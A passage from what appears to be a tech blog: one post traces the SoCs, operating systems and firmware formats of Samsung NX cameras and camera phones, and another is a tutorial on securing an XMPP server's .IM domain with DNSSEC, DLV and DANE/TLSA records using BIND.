]]]     ]]]]] ]    ]]]  ]     ]]]] ]]]   ]]]]]]]]]  ]]]] ]] ]]]]  ]]   ]]]]]
]]]]     ]]]  ]]    ]  ]]]     ]] ]]]]] ]]]]]]   ]] ]]]]]]] ]]]] ]]   ]]]]  
]]]]]     ]  ]]]]     ]]]]]      ]]]]]]]] ]]]]   ]] ]]]]    ]]]]]]]    ]]]] 
]]]]]]      ]]]]]     ]]]]]]    ]  ]]]]]  ]]]]   ]] ]]]]    ]]]]]]]]    ]]]]
]]]]]]]    ]]]]]  ]    ]]]]]]  ]    ]]]   ]]]]   ]] ]]]]    ]]]] ]]]]    ]]]]
]]]]]]]]  ]]]]]  ]]]    ]]]]]]]      ]     ]]]]]]]  ]]]]    ]]]]  ]]]] ]]]]]
]]]]]]]]]]]]]]]]]]]]]]]]]]]]]       Development System
]]]]]]]]]]]]]]]]]]]]]]]]]]       KERNEL: 
]]]]]]]]]]]]]]]]]]]]]]]]]       Copyright Wind River Systems, Inc., 1984-2007

The 2012 models (NX20, NX210, NX1000, NX1100) contain the same copyright and CPU identification strings after a cursory look, confirming the same info about the third DRIMe generation.

Side note: there is also a compact camera from early 2010, the WB2000/TL350 (EU/US name), also built around the DRIMeIII and also running VxWorks. It looks like it was developed in parallel to the DRIMeII based NX10!

Another camera based on DRIMeIII and VxWorks is the EX2F from 2012.

DRIMeIV, Tizen Linux: NX300(M), NX310, NX2000, NX30

Samsung NX300 (*)

In early 2013, Samsung gave a CES press conference announcing the DRIMe IV based NX300. Linux was not mentioned, but we got a novelty single-lens 3D feature and an AMOLED screen. Samsung also published a design overview of the NX300 evolution.

I've looked into the NX300 root filesystem back in 2014, and the CPU generation was also confirmed from /proc/cpuinfo:

Hardware    : Samsung-DRIMeIV-NX300

The NX310 is just an NX300 with additional bundled gimmicks, sharing the same firmware. The actual successor to the NX300 is the NX2000, featuring a large AMOLED and almost no physical buttons (why would anybody buy a camera without knobs and dials?). It's followed by the NX300M (a variant of the NX300 with a 180° tilting screen), and the NX30 (released 2014, a larger variant with eVF and built-in flash).

All of them have similarly sized and named firmware (nx300.bin), and the respective OSS downloads feature a TIZEN folder. All are running Linux kernel 3.5.0. There is a nice description of the firmware file structure by Douglas J. Hickok. The bin files begin with SLP\x00, probably for "Samsung Linux Platform", and thus I documented them as SLP Firmware Format and created an SLP firmware dumper.

Fujitsu M7MU: NX mini, NX3000, NX3300

Samsung NX mini (*)

In the first half of 2014, the NX mini was announced. It also features WiFi and NFC, and with its NX-M mount it is one of the smallest digital interchangeable-lens cameras out there! The editor notes reveal that it's based on the "M7MU" DSP, which unfortunately is impossible to google for.

The firmware archive contains a file called DATANXmini.bin (which is not the SLP format and also a break with the old-school 8.3 filename convention), and it seems to use some sort of data compression, as most strings are garbled after 16 bytes or earlier (C:\colomia\Gui^@^@Lib\Sources\Core^@^PAllocator.H, here using Vim's binary escape notation).

There are a few string matches for "M7MU", but nothing that would reveal details about its manufacturer or operating system. The (garbled) copyright strings give a mixed picture, with mentions of:

Copyright (c) 2<80>^@^@5-2011, Jouni Ma^@^@linen <*@**.**>
^@^@and contributors^@^B^@This program ^@^Kf^@^@ree software. Yo!
u ^@q dis^C4e it^AF/^@<9c>m^D^@odify^@^Q
under theA^@ P+ms of^B^MGNU Gene^A^@ral Pub^@<bc> License^D^E versPy 2.

Samsung NX3000 (*)

This doesn't give us any hints on what is powering this nice curiosity of ILC. The few PCB photos available on the internet have the CPU covered with a sticker, so no dice there either. All of the above similarly applies to the NX3000, which is running very similar code but has the larger NX mount, and the NX3300, which is a slightly modified NX3000 with more selfie shooting and less Adobe Lightroom.

It took me quite a while of fruitless guessing, until I was able to obtain a (broken) NX3000 and disassemble it, just to remove the CPU sticker.

The sticker revealed that the CPU is actually an "MB86S22A", another Fujitsu Milbeaut Image Processor, with M-7M being the seventh generation (not sure about "MU", but there is "MO" for mobile devices), built around the ARM Cortex-A5MP core!

Github code search reveals that there is actually an M7MU driver in the forked Exynos Linux kernel, and it defines the firmware header structure. Let's hack together a header reader in python real quick now, and run that over the NX mini firmware:

Header Value
block_size 0x400 (1024)
writer_load_size 0x4fc00 (326656)
write_code_entry 0x40000400 (1073742848)
sdram_param_size 0x90 (144)
nand_param_size 0xe1 (225)
sdram_data *stripped 144 bytes*
nand_data *stripped 225 bytes*
code_size 0xafee12 (11529746)
offset_code 0x50000 (327680)
version1 "01.10"
log "201501162119"
version2 "GLUAOA2"
model "NXMINI"
section_info 00000007 00000001
0050e66c 00000002
001a5985 00000003
00000010 00000004
00061d14 00000005
003e89d6 00000006
00000010 00000007
00000010 00000000
9x 00000000
pdr ""
ddr 00 b3 3f db 26 02 08 00 d7 31 08 29 01 80 00 7c 8c 07
epcr 00 00 3c db 00 00 08 30 26 00 f8 38 00 00 00 3c 0c 07

That was less than informative. At least it's a good hint for loading the firmware into a decompiler, if anybody gets interested enough.

But why should the Linux kernel have a module to talk to an M7MU? One of the kernel trees containing that code is called kernel_samsung_exynos5260 and the Exynos 5260 is the SoC powering the Galaxy K Zoom. So the K Zoom does have a regular Exynos SoC running Android, and a second Milbeaut SoC running the image processing. Let's postpone this Android hybrid for now.

DRIMeV, Tizen Linux: NX1, NX500, Gear360

Samsung NX1 (*)

In late 2014, Samsung released the high-end DRIMeV-based NX1, featuring a backside-illuminated 28 MP sensor and 4K H.256 video in addition to all the features of previous NX models. There was also an interview with a very excited Samsung Senior Marketing Manager that contains PCB shots and technical details. Once again, Linux is only mentioned in third-party coverage, e.g. in the EOSHD review.

Samsung NX500 (*)

In February 2015, the NX1 was followed by the more compact NX500 based around a slightly reduced DRIMeVs SoC. Apparently, the DRIMeVs also powers the Gear 360 camera, and indeed, there is a teardown with PCB shots confirming that and showing an additional MachXO3 FPGA, but also some firmware reverse-engineering as well as firmware mirroring efforts. The Gear360 is running Tizen 2.2.0 "Magnolia" and requires a companion app for most of its functions.

The NX1 is using the same modified version of the SLP firmware format as the Gear360. In versions before 1.21, the ext4 partitions were uncompressed, leading to significantly larger bin file sizes. They still contain Linux 3.5.0 but ext4 is a significant change over the UBIFS on the DRIMeIV cameras, and allows in-place modification from a telnet shell.

Android phones with dedicated photo co-processor

Samsung has also experimented with hybrid devices that are neither smartphone nor camera. The first such device seems to be the Galaxy Camera from 2012.

Samsung Galaxy K4 Zoom (*)

The Android firmware ZIP files (obtained from a Samsung "fan club" website) contain one or multiple tar.md5 files (which are tar archives with appended MD5 checksums to be flashed by Odin).

Galaxy Camera (EK-GC100, EK-GC120)

For the Galaxy Camera EK-GC100, there is a CODE_GC100XXBLL7_751817_REV00_user_low_ship.tar.md5 in the ZIP, that contains multiple .img files:

-rw-r--r-- se.infra/se.infra     887040 2012-12-26 12:12 sboot.bin
-rw-r--r-- se.infra/se.infra     768000 2012-12-26 11:41 param.bin
-rw-r--r-- se.infra/se.infra     159744 2012-12-26 12:12 tz.img
-rw-r--r-- se.infra/se.infra    4980992 2012-12-26 12:12 boot.img
-rw-r--r-- se.infra/se.infra    5691648 2012-12-26 12:12 recovery.img
-rw------- se.infra/se.infra 1125697212 2012-12-26 12:11 system.img

None of these look like camera firmware, but system.img is the Android rootfs (A sparse image convertible with simg2img to obtain an ext4 image). In the rootfs, /vendor/firmware/ contains a few files, including one fimc_is_fw.bin with 1.2MB.

The Galaxy Camera Linux source has an Exynos FIMC-IS (Image Subsystem) driver working over I2C, and the firmware itself contains a few interesting strings:

* S5PC220-A5 - Solution F/W                    *
* since 2010.05.21 for ISP Team                  *
"isp_hardware_version" : "Fimc31"

Furthermore, the firmware bin file seems to start with a typical ARM v7 reset vector table, but other than that it looks like the image processsor is a built-in component of the Exynos4 SoC.

Galaxy S4 Zoom: SM-C1010, SM-C101, SM-C105

Samsung Galaxy S4 Zoom (*)

The next Android hybrid released by Samsung was the Galaxy S4 Zoom (SM-C1010, SM-C101, SM-C105) in 2013. In its CODE_[...].tar.md5 firmware, there is an additional 2MB camera.bin file that contains the camera processor firmware. Binwalk only reveals a few FotoNation copyright strings, but strings gives some more interesting hints, like:

AHFD Face Detection Library M9Mo v.
Copyright (c) 2005-2011 by FotoNation. All rights reserved.
LibFE M9Mo v.
Copyright (c) 2005-2011 by FotoNation. All rights reserved.
FCGK02 Fujitsu M9MO

Softune is an IDE used by Fujitsu and Infineon for embedded processors, featuring the REALOS µITRON real-time OS!

M9MO sounds like a 9th generation Milbeaut image processor, but again there is not much to see without the model number, and it's hard to find good PCB shots without stickers. There is a S4 Zoom disassembly guide featuring quite a few PCB shots, but the top side only shows the Exynos SoC, eMMC flash and an Intel baseband. There are uncovered bottom pics submtted to FCC which are too low-res to identify if there is a dedicated SoC.

As shown above, Samsung has a history of working with Milbeaut and µITRON, so it's probably not a stretch to conclude that this combination powers the S4 Zoom's camera, but it's hard to say if it's a logical core inside the Exynos 4212 or a dedicated chip.

Galaxy NX: EK-GN100, EK-GN120

Samsung Galaxy NX (*)

Just one week after the S4 Zoom, still in June 2013, Samsung announced the Galaxy NX (EK-GN100, EK-GN120) with interchangeable lenses, 20.3MP APS-C sensor, and DRIMeIV SoC - specs already known from January's NX300.

But the Galaxy NX is also an Android 4.2 smartphone (even if it lacks microphone and speakers, so technically just a micro-tablet?). How can it be a DRIMeIV Linux device and an Android phone at the same time? The firmware surely will enlighten us!

Similarly to the S4 Zoom, the firmware is a ZIP file containing a [...]_HOME.tar.md5. One of the files inside it is camera.bin, and this time it's 77MB! This file now features the SLP\x00 header known from the NX300:

camera.bin: GALAXYU firmware 0.01 (D20D0LAHB01) with 5 partitions
           144    5523488   f68a86 ffffffff  vImage
       5523632       7356 ad4b0983 7fffffff  D4_IPL.bin
       5530988      63768 3d31ae89 65ffffff  D4_PNLBL.bin
       5594756    2051280 b8966d27 543fffff  uImage
       7646036   71565312 4c5a14bc 4321ffff  platform.img

The platform.img file contains a UBIFS root partition, and presumably vImage is used for upgrading the DRIMeIV firmware, and uImage is the standard kernel running on the camera SoC. The rootfs is very similar to the NX300 as well, featuring the same "squeeze/sid" string in /etc/debian_version, even though it's again Tizen / Samsung Linux Platform. There is a 500KB /usr/bin/di-galaxyu-app that's probably responsible for camera operation as well as for talking to the Android CPU. Further reverse engineering is required to understand what kind of IPC mechanism is used between the cores.

The Galaxy NX got the CES 2014 award for the first fully-connected interchangeable lens camera, but probably not for fully-connecting a SoC running Android-flavored Linux with a SoC running Tizen-flavored Linux on the same board.

Galaxy Camera 2

Shortly after the Galaxy NX, the Galaxy Camera 2 (EK-GC200) was announced and presented at CES 2014.

Very similar to the first Galaxy Camera, it has a 1.2MB /vendor/firmware/fimc_is_fw.bin file, and also shares most of the strings with it. Apart from a few changed internal SVN URLs, this seems to be roughly the same module.

Galaxy K Zoom: SM-C115, SM-C111, SM-C115L

As already identified above, the Galaxy K Zoom (SM-C115, SM-C111, SM-C115L), released in June 2014, is using the M7M image processor. The respective firmware can be found inside the Android rootfs at /vendor/firmware/RS_M7MU.bin and is 6.2MB large. It also features the same compression mechanism as the NX mini firmware, making it harder to analyze, but the M7MU firmware header looks more consistent:

Header Value
code_size 0x5dee12 (6155794)
offset_code 0x40000 (262144)
version1 "00.01"
log "201405289234"
version2 "D20FSHE"
model "06DAGCM2"

Rumors of unreleased models

During (and after) Samsung's involvement in the camera market, there were many rumors of shiny new models that didn't materialize. Here is an attempt to classify the press coverage without any insider knowledge:

  • Samsung NX-R (concept design, R for retro?), September 2012 - most probably an early name of the NX2000 (the front is very similar, no pictures of the back).

  • Samsung NX400 / NX400-EVF, July 2014 - looks like the NX400 was renamed to NX500, and an EVF version never materialized.

  • Samsung NX2 prototype, February 2018 - might be a joke/troll or an engineer having some fun. Three years after closing the camera department, it's hard to imagine that somebody produced a 30MP APS-C sensor out of thin air, added a PCB with a modern SoC to read it out, and created (preliminary) firmware.

  • Samsung NX Ultra, April 1st 2020, 'nuff said.


In just five years, Samsung released eighteen cameras and one smartphone/camera hybrid under the NX label, plus a few more phones with zoom lenses, built around the Fujitsu Milbeaut SoC as well as multiple generations of Samsung's custom-engineered (or maybe initially licensed from Fujitsu?) DRIM engine.

The number of different platforms and overlapping release cycles is a strong indication that the devices were developed by two or three product teams in parallel, or maybe even independently of each other. This engineering effort could have proven a huge success with amateur and professional photographers, if it hadn't been stopped by Samsung management.

To this day, the Tizen-based NX models remain the best trade-off between picture quality and hackability (in the most positive meaning).

Comments on HN

(*) All pictures (C) Samsung marketing material

Posted 2023-03-31 17:27 Tags: net

.IM top-level domain Domain Name System Security Extensions Look-aside Validation DNS-based Authentication of Named Entities Extensible Messaging and Presence Protocol TLSA ("TLSA" does not stand for anything; it is just the name of the RRtype) resource record.

Okay, seriously: this post is about securing an XMPP server running on an .IM domain with DNSSEC, using as a real-life example. In the world of HTTP there is HPKP, and browsers come with a long list of pre-pinned site certificates for the who's'who of the modern web. For XMPP, DNSSEC is the only viable way to extend the broken Root CA trust model with a slightly-less-broken hierarchical trust model from DNS (there is also TACK, which is impossible to deploy because it modifies the TLS protocol, and also unmaintained).

Because the .IM TLD is not DNSSEC-signed yet, we will need to use DLV (DNSSEC Look-aside Validation), an additional DNSSEC trust root operated by the ISC (until the end of 2016). Furthermore, we will need to set up the correct entries for (the XMPP service domain), (the conference domain) and (the actual server running the service).

This post has been sitting in the drafts folder for a while, but now that DANE-SRV has been promoted to Proposed Standard, it was a good time to finalize the article.


Our (real-life) scenario is as follows: the XMPP service is run on a server named (for historical reasons, the host is a web server forwarding to, not the actual XMPP server). The service furthermore hosts the conference service, which needs to be accessible from other XMPP servers as well.

In the following, we will create SRV DNS records to advertise the server name, obtain a TLS certificate, configure DNSSEC on both domains and create (signed) DANE records that define which certificate a client can expect when connecting.

Once this is deployed, state-level attackers will not be able to MitM users of the service simply by issuing rogue certificates, they would also have to compromise the DNSSEC chain of trust (in our case one of the following: ICANN/VeriSign, DLV, PIR or the registrar/NS hosting our domains, essentially limiting the number of states able to pull this off to one).

Creating SRV Records for XMPP

The service / server separation is made possible with the SRV record in DNS, which is a more generic variant of records like MX (e-mail server) or NS (domain name server) and defines which server is responsible for a given service on a given domain.

For XMPP, we create the following three SRV records to allow clients (_xmpp-client._tcp), servers (_xmpp-server._tcp) and conference participants (_xmpp-server._tcp on to connect to the right server:       IN SRV 5 1 5222       IN SRV 5 1 5269  IN SRV 5 1 5269

The record syntax is: priority (5), weight (1), port (5222 for clients, 5269 for servers) and host ( Priority and weight are used for load-balancing multiple servers, which we are not using.

Attention: some clients (or their respective DNS resolvers, often hidden in outdated, cheap, plastic junk routers provided by your "broadband" ISP) fail to resolve SRV records, and thus fall back to the A record. If you set up a new XMPP server, you will slightly improve your availability by ensuring that the A record ( in our case) points to the XMPP server as well. However, DNSSEC will be even more of a challenge for them, so lets write them off for now.

Obtaining a TLS Certificate for XMPP

While DANE allows rolling out self-signed certificates, our goal is to stay compatible with clients and servers that do not deploy DNSSEC yet. Therefore, we need a certificate issued by a trustworthy member of the Certificate Extorion ring. Currently, StartSSL and WoSign offer free certificates, and Let's Encrypt is about to launch.

Both StartSSL and WoSign offer a convenient function to generate your keypair. DO NOT USE THAT! Create your own keypair! This "feature" will allow the CA to decrypt your traffic (unless all your clients deploy PFS, which they don't) and only makes sense if the CA is operated by an Intelligence Agency.

What You Ask For...

The certificate we are about to obtain must be somehow tied to our XMPP service. We have three different names (, and and the obvious question is: which one should be entered into the certificate request.

Fortunately, this is easy to find out, as it is well-defined in the XMPP Core specification, section 13.7:

In a PKIX certificate to be presented by an XMPP server (i.e., a "server certificate"), the certificate SHOULD include one or more XMPP addresses (i.e., domainparts) associated with XMPP services hosted at the server. The rules and guidelines defined in [TLS‑CERTS] apply to XMPP server certificates, with the following XMPP-specific considerations:

  • Support for the DNS-ID identifier type [PKIX] is REQUIRED in XMPP client and server software implementations. Certification authorities that issue XMPP-specific certificates MUST support the DNS-ID identifier type. XMPP service providers SHOULD include the DNS-ID identifier type in certificate requests.

  • Support for the SRV-ID identifier type [PKIX‑SRV] is REQUIRED for XMPP client and server software implementations (for verification purposes XMPP client implementations need to support only the "_xmpp-client" service type, whereas XMPP server implementations need to support both the "_xmpp-client" and "_xmpp-server" service types). Certification authorities that issue XMPP-specific certificates SHOULD support the SRV-ID identifier type. XMPP service providers SHOULD include the SRV-ID identifier type in certificate requests.

  • [...]

Translated into English, our certificate SHOULD contain and according to [TLS-CERTS], which is "Representation and Verification of Domain-Based Application Service Identity within Internet Public Key Infrastructure Using X.509 (PKIX) Certificates in the Context of Transport Layer Security (TLS)", or for short RFC 6125. There, section 2.1 defines that there is the CN-ID (Common Name, which used to be the only entry identifying a certificate), one or more DNS-IDs (baseline entries usable for any services) and one or more SRV-IDs (service-specific entries, e.g. for XMPP). DNS-IDs and SRV-IDs are stored in the certificate as subject alternative names (SAN).

Following the above XMPP Core quote, a CA must add support adding a DNS-ID and should add an SRV-ID field to the certificate. Clients and servers must support both field types. The SRV-ID is constructed according to RFC 4985, section 2, where it is called SRVName:

The SRVName, if present, MUST contain a service name and a domain name in the following form:


For our XMPP scenario, we would need three SRV-IDs ( for clients, for servers, and for the conference service; all without the _tcp. part we had in the SRV record). In addition, the two DNS-IDs and are required recommended by the specification, allowing the certificate to be (ab)used for HTTPS as well.

Update: The quoted specifications allow to create an XMPP-only certificate based on SRV-IDs, that contains no DNS-IDs (and has a non-hostname CN). Such a certificate could be used to delegate XMPP operations to a third party, or to limit the impact of leaked private keys. However, you will have a hard time convincing a public CA to issue one, and once you get it, it will be refused by most clients due to lack of SRV-ID implementation.

And then there is one more thing. RFC 7673 proposes also checking the certificate for the SRV destination ( in our case) if the SRV record was properly validated, there is no associated TLSA record, and the application user was born under the Virgo zodiac sign.

Summarizing the different possible entries in our certificate, we get the following picture:

Name(s) Field Type Meaning or Common Name (CN) Legacy name for really old clients and servers.
DNS-IDs (SAN) Required entry telling us that the host serves anything on the two domain names.
SRV-IDs (SAN) Optional entry telling us that the host serves XMPP to clients and servers. SRV-ID (SAN) Optional entry telling us that the host serves XMPP to servers for DNS-ID or CN Optional entry if you can configure a DNSSEC-signed SRV record but not a TLSA record.

...and What You Actually Get

Most CAs have no way to define special field types. You provide a list of service/host names, the first one is set as the CN, and all of them are stored as DNS-ID SANs. However, StartSSL offers "XMPP Certificates", which look like they might do what we want above. Let's request one from them for and and see what we got:

openssl x509 -noout -text -in yaxim.crt
Subject: description=mjp74P5w0cpIUITY, C=DE,
X509v3 Subject Alternative Name:,, othername:<unsupported>,
    othername:<unsupported>, othername:<unsupported>, othername:<unsupported>

So it's othername:<unsupported>, then? Thank you OpenSSL, for your openness! From RFC 4985 we know that "othername" is the basic type of the SRV-ID SAN, so it looks like we got something more or less correct. Using this script (highlighted source, thanks Zash), we can further analyze what we've got:

  X509v3 Subject Alternative Name:

Alright, the two service names we submitted turned out under three different field types:

  • SRV-ID (it's mising the _xmpp-client. / _xmpp-server. part and is thus invalid)
  • xmppAddr (this was the correct entry type in the deprecated RFC 3920 XMPP specification, but is now only allowed in client certificates)
  • DNS-ID (wow, these ones happen to be correct!)

While this is not quite what we wanted, it is sufficient to allow a correctly implemented client to connect to our server, without raising certificate errors.

Configuring DNSSEC for Your Domain(s)

In the next step, the domain (in our case both and, but the following examples will only list needs to be signed with DNSSEC. Because I'm a lazy guy, I'm using BIND 9.9, which does inline-signing (all I need to do is create some keys and enable the feature).

Key Creation with BIND 9.9

For each domain, a zone signing key (ZSK) is needed to sign the individual records. Furthermore, a key signing key (KSK) should be created to sign the ZSK. This allows you to rotate the ZSK as often as you wish.

# create key directory
mkdir /etc/bind/keys
cd /etc/bind/keys
# create key signing key
dnssec-keygen -f KSK -3 -a RSASHA256 -b 2048
# create zone signing key
dnssec-keygen -3 -a RSASHA256 -b 2048
# make all keys readable by BIND
chown -R bind.bind .

To enable it, you need to configure the key directory, inline signing and automatic re-signing:

zone "" {
    key-directory "/etc/bind/keys";
    inline-signing yes;
    auto-dnssec maintain;

After reloading the config, the keys need to be enabled in BIND:

# load keys and check if they are enabled
$ rndc loadkeys
$ rndc signing -list
Done signing with key 17389/RSASHA256
Done signing with key 24870/RSASHA256

The above steps need to be performed for as well.

NSEC3 Against Zone Walking

Finally, we also want to enable NSEC3 to prevent curious people from "walking the zone", i.e. retrieving a full list of all host names under our domains. To accomplish that, we need to specify some parameters for hashing names. These parameters will be published in an NSEC3PARAMS record, which resolvers can use to apply the same hashing mechanism as we do.

First, the hash function to be used. RFC 5155, section 4.1 tells us that...

"The acceptable values are the same as the corresponding field in the NSEC3 RR."

NSEC3 is also defined in RFC 5155, albeit in section 3.1.1. There, we learn that...

"The values for this field are defined in the NSEC3 hash algorithm registry defined in Section 11."

It's right there... at the end of the section:

Finally, this document creates a new IANA registry for NSEC3 hash algorithms. This registry is named "DNSSEC NSEC3 Hash Algorithms". The initial contents of this registry are:

0 is Reserved.

1 is SHA-1.

2-255 Available for assignment.

Let's pick 1 from this plethora of choices, then.

The second parameter is "Flags", which is also defined in Section 11, and must be 0 for now (other values have to be defined yet).

The third parameter is the number of iterations for the hash function. For a 2048 bit key, it MUST NOT exceed 500. Bind defaults to 10, Strotman references 330 from RFC 4641bis, but it seems that number was removed since then. We take this number anyway.

The last parameter is a salt for the hash function (a random hexadecimal string, we use 8 bytes). You should not copy the value from another domain to prevent rainbow attacks, but there is no need to make this very secret.

$ rndc signing -nsec3param 1 0 330 $(head -c 8 /dev/random|hexdump -e '"%02x"')
$ rndc signing -nsec3param 1 0 330 $(head -c 8 /dev/random|hexdump -e '"%02x"')

Whenever you update the NSEC3PARAM value, your zone will be re-signed and re-published. That means you can change the iteration count and salt value later on, if the need should arise.

Configuring the DS (Delegation Signer) Record for

If your domain is on an already-signed TLD (like on .org), you need to establish a trust link from the .org zone to your domain's signature keys (the KSK, to be precise). For this purpose, the delegation signer (DS) record type has been created.

A DS record is a signed record in the parent domain (.org) that identifies a valid key for a given sub-domain ( Multiple DS records can coexist to allow key rollover. If you are running an important service, you should create a second KSK, store it in a safe place, and add its DS in addition to the currently used one. Should your primary name server go up in flames, you can recover without waiting for the domain registrar to update your records.

Exporting the DS Record

To obtain the DS record, BIND comes with the dnssec-dsfromkey tool. Just pipe all your keys into it, and it will output DS records for the KSKs. We do not want SHA-1 records any more, so we pass -2 as well to get the SHA-256 record:

$ dig @ DNSKEY | dnssec-dsfromkey -f - -2 IN DS 42199 8 2 35E4E171FC21C6637A39EBAF0B2E6C0A3FE92E3D2C983281649D9F4AE3A42533

This line is what you need to submit to your domain registrar (using their web interface or by means of a support ticket). The information contained is:

  • key tag: 42199 (this is just a numeric ID for the key, useful for key rollovers)
  • signature algorithm: 8 (RSA / SHA-256)
  • DS digest type: 2 (SHA-256)
  • hash value: 35E4E171...E3A42533

However, some registrars insist on creating the DS record themselves, and require you to send in your DNSKEY. We only need to give them the KSK (type 257), so we filter the output accordingly:

$ dig @ DNSKEY | grep 257              86400   IN      DNSKEY  257 3 8

Validation of the Trust Chain

As soon as the record is updated, you can check the trustworthiness of your domain. Unfortunately, all of the available command-line tools suck. One of the least-sucking ones is drill from ldns. It still needs a root.key file that contains the officially trusted DNSSEC key for the . (root) domain. In Debian, the dns-root-data package places it under /usr/share/dns/root.key. Let's drill our domain name with DNSSEC (-D), tracing from the root zone (-T), quietly (-Q):

$ drill -DTQ -k /usr/share/dns/root.key
;; Number of trusted keys: 1
;; Domain: .
[T] . 172800 IN DNSKEY 256 3 8 ;{id = 48613 (zsk), size = 1024b}
. 172800 IN DNSKEY 257 3 8 ;{id = 19036 (ksk), size = 2048b}
[T] org. 86400 IN DS 21366 7 1 e6c1716cfb6bdc84e84ce1ab5510dac69173b5b2 
org. 86400 IN DS 21366 7 2 96eeb2ffd9b00cd4694e78278b5efdab0a80446567b69f634da078f0d90f01ba 
;; Domain: org.
[T] org. 900 IN DNSKEY 257 3 7 ;{id = 9795 (ksk), size = 2048b}
org. 900 IN DNSKEY 256 3 7 ;{id = 56198 (zsk), size = 1024b}
org. 900 IN DNSKEY 256 3 7 ;{id = 34023 (zsk), size = 1024b}
org. 900 IN DNSKEY 257 3 7 ;{id = 21366 (ksk), size = 2048b}
[T] 86400 IN DS 42199 8 2 35e4e171fc21c6637a39ebaf0b2e6c0a3fe92e3d2c983281649d9f4ae3a42533 
;; Domain:
[T] 86400 IN DNSKEY 257 3 8 ;{id = 42199 (ksk), size = 2048b} 86400 IN DNSKEY 256 3 8 ;{id = 6384 (zsk), size = 2048b}
[T]  3600    IN  A
;;[S] self sig OK; [B] bogus; [T] trusted

The above output traces from the initially trusted . key to org, then to and determines that is properly DNSSEC-signed and therefore trusted ([T]). This is already a big step, but the tool lacks some color, and it does not allow to explicitly query the domain's name servers (unless they are open resolvers), so you can't test your config prior to going live.

To get a better view of our DNSSEC situation, we can query some online services:

Ironically, neither DNSViz nor Verisign support encrypted connections via HTTPS, and Lutz' livetest is using an untrusted root.

Enabling DNSSEC Look-aside Validation for

Unfortunately, we can not do the same with our short and shiny domain. If we try to drill it, we get the following:

$ drill -DTQ -k /usr/share/dns/root.key
;; Number of trusted keys: 1
;; Domain: .
[T] . 172800 IN DNSKEY 256 3 8 ;{id = 48613 (zsk), size = 1024b}
. 172800 IN DNSKEY 257 3 8 ;{id = 19036 (ksk), size = 2048b}
[T] Existence denied: im. DS
;; Domain: im.
;; No DNSKEY record found for im.
;; No DS for;; Domain:
[S] 86400 IN DNSKEY 257 3 8 ;{id = 17389 (ksk), size = 2048b} 86400 IN DNSKEY 256 3 8 ;{id = 24870 (zsk), size = 2048b}
[S] 3600    IN  A
;;[S] self sig OK; [B] bogus; [T] trusted

There are two pieces of relevant information here:

  • [T] Existence denied: im. DS - the top-level zone assures that .IM is not DNSSEC-signed (it has no DS record).
  • [S] 3600 IN A - is self-signed, providing no way to check its authenticity.

The .IM top-level domain for Isle of Man is operated by Domicilium. A friendly support request reveals the following:

Unfortunately there is no ETA for DNSSEC support at this time.

That means there is no way to create a chain of trust from the root zone to

Fortunately, the desingers of DNSSEC anticipated this problem. To accelerate adoption of DNSSEC by second-level domains, the concept of look-aside validation was introduced in 2006. It allows to use an alternative trust root if the hierarchical chaining is not possible. The ISC is even operating such an alternative trust root. All we need to do is to register our domain with them, and add them to our resolvers (because they aren't added by default).

After registering with DLV, we are asked to add our domain with its respective KSK domain key entry. To prove domain and key ownership, we must further create a signed TXT record under with a specific value: IN TXT "DLV:1:fcvnnskwirut"

Afterwards, we request DLV to check our domain. It queries all of the domains' DNS servers for the relevant information and compares the results. Unfortunately, our domain fails the check:

FAILURE has extra: 86400 IN DNSKEY 256 3 RSASHA256 ( AwEAAepYQ66j42jjNHN50gUldFSZEfShF...
FAILURE has extra: 86400 IN DNSKEY 257 3 RSASHA256 ( AwEAAcB7Fx3T/byAWrKVzmivuH1bpP5Jx...
FAILURE missing: YAX.IM. 86400 IN DNSKEY 256 3 RSASHA256 ( AwEAAepYQ66j42jjNHN50gUldFSZEfShF...
FAILURE missing: YAX.IM. 86400 IN DNSKEY 257 3 RSASHA256 ( AwEAAcB7Fx3T/byAWrKVzmivuH1bpP5Jx...
FAILURE This means your DNS servers are out of sync. Either wait until the DNSKEY data is the same, or fix your server's contents.

This looks like a combination of two different issues:

  1. A part of our name servers is returning YAX.IM when asked for
  2. The DLV script is case-sensitive when it comes to domains.

Problem #1 is officially not a problem. DNS is case-insensitive, and therefore all clients that fail to accept YAX.IM answers to requests are broken. In practice, this hits not only the DLV resolver (problem #2), but also the resolver code in Erlang, which is used in the widely-deployed ejabberd XMPP server.

While we can't fix all the broken servers out there, #2 has been reported and fixed, and hopefully the fix has been rolled out to production already. Still, issue #1 needs to be solved.

It turns out that it is caused by case insensitive response compression. You can't make this stuff up! Fortunately, BIND 9.9.6 added the no-case-compress ACL, so "all you need to do" is to upgrade BIND and enable that shiny new feature.

After checking and re-checking the TXT record with DLV, there is finally progress:

SUCCESS DNSKEY signatures validated.
SUCCESS COOKIE: Good signature on TXT response from <NS IP>
SUCCESS <NS IP> has authentication cookie DLV:1:fcvnnskwirut

After your domain got validated, it will receive its look-aside validation records under

$ dig +noall +answer DLV 3451    IN  DLV 17389 8 2 C41AFEB57D71C5DB157BBA5CB7212807AB2CEE562356E9F4EF4EACC2 C4E69578 3451    IN  DLV 17389 8 1 8BA3751D202EF8EE9CE2005FAF159031C5CAB68A

This looks like a real success. Except that nobody is using DLV in their resolvers by default, and DLV will stop operations in 2017.

Until then, you can enable look-aside validation in your BIND and Unbound resolvers.

Lutz' livetest service supports checking DLV-backed domains as well, so let's verify our configuration:

Creating TLSA Records for HTTP and SRV

Now that we have created keys, signed our zones and established trust into them from the root (more or less), we can put more sensitive information into DNS, and our users can verify that it was actually added by us (or one of at most two or three governments: the US, the TLD holder, and where your nameservers are hosted).

This allows us to add a second, independent, trust root to the TLS certificates we use for our web server ( as well as for our XMPP server, by means of TLSA records.

These record types are defined in RFC 6698 and consist of the following pieces of information:

  • domain name (i.e.
  • certificate usage (is it a CA or a server certificate, is it signed by a "trusted" Root CA?)
  • selector + matching type + certificate association data (the actual certificate reference, encoded in one of multiple possible forms)

Domain Name

The domain name is the hostname in the case of HTTPS, but it's slightly more complicated for the XMPP SRV record, because there we have the service domain (, the conference domain ( and the actual server domain name (

The behavior for SRV TLSA handling is defined in RFC 7673, published as Proposed Standard in October 2015. First, the client must validate that the SRV response for the service domain is properly DNSSEC-signed. Only then the client can trust that the server named in the SRV record is actually responsible for the service.

In the next step, the client must ensure that the address response (A for IPv4 and AAAA for IPv6) is DNSSEC-signed as well, or fall back to the next SRV record.

If both the SRV and the A/AAAA records are properly signed, the client must do a TLSA lookup for the SRV target (which is for our client users, or for other XMPP servers connecting to us).

Certificate Usage

The certificate usage field can take one of four possible values. Translated into English, the possibilities are:

